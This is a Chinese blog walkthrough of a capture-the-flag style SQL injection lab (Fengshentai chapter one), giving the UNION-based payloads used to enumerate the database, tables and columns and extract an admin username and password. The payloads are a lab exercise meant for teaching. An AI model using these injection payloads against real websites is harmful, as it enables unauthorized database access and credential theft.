封神台-第一章:为了女神小芳!
本文最后更新于612天前,其中的信息可能已经过时,如有错误请发送邮件到 encat@foxmail.com

链接:封神台 – 掌控安全在线攻防演练靶场 点击传送门进入靶场

观察页面,发现URL中id存在注入

构建Payload : ?id=1 order by 2 确定数据库字段的列数为2

判断回显点 ?id=1 and 1=2 union select 1,2

页面出现了 2,可以将2处替换为SQL语句进行注入

 

查询当前数据库名 构建Payload ?id=1 and 1=2 union select 1,database();

获得数据库名称为 maoshe

 

查询当前数据库版本 构建Payload :?id=1 and 1=2 union select 1,version();

获得数据库版本为 5.5.53

 

查询当前数据库表名 构建Payload :?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=’maoshe’;

查询出maoshe中一个名为admin的表(其实还有其他的表,但是一般情况下用户名密码都在admin表中)

 

表名确定接着查询字段 建构建Payload :?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=’admin’

查询到了一个id字段,但是表中不会仅有这一个字段 接下来,我们就要用到limit

limit是属于MySQL的语法,用来从某个值开始,取出之后的N条数据的语法。

limit有两种方式。

1)limit a,b 后缀两个参数的时候(/*参数必须是一个整数常量*/),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录。

2)limit b 后缀一个参数的时候,是直接取值到第多少位,类似于:limit 0,b 

 

在上面构建的Payload中分别插入 limit 0,1  limit 1,1 limit 2,1来分别查询字段 得到 id,username,password三个字段

现在要查询 username 和 password 字段里面的内容

构建Payload 查询username字段里面的内容: ?id=1 and 1=2 union select 1,username from admin

构建Payload 查询password字段里面的内容: : ?id=1 and 1=2 union select 1,password from admin

查询到username为admin,password为hellohack

提交flag即可

 

完结!

《封神台-第一章:为了女神小芳!》
觉得有帮助可以投喂下博主哦~感谢!
作者:Encat
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议。转载请注明文章地址及作者

评论

  1. 阿三
    Windows Firefox 113.0
    2 年前
    2023-6-01 16:23:32

    哈哈 可以直接sqlmap的😜

    来自云南昆明
    • 博主
      阿三
      Windows Edge 114.0.1823.41
      1 年前
      2023-6-10 13:28:21

      hhh,这个是原理

      来自云南昆明

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
颜文字
Emoji
小恐龙
花!
下一篇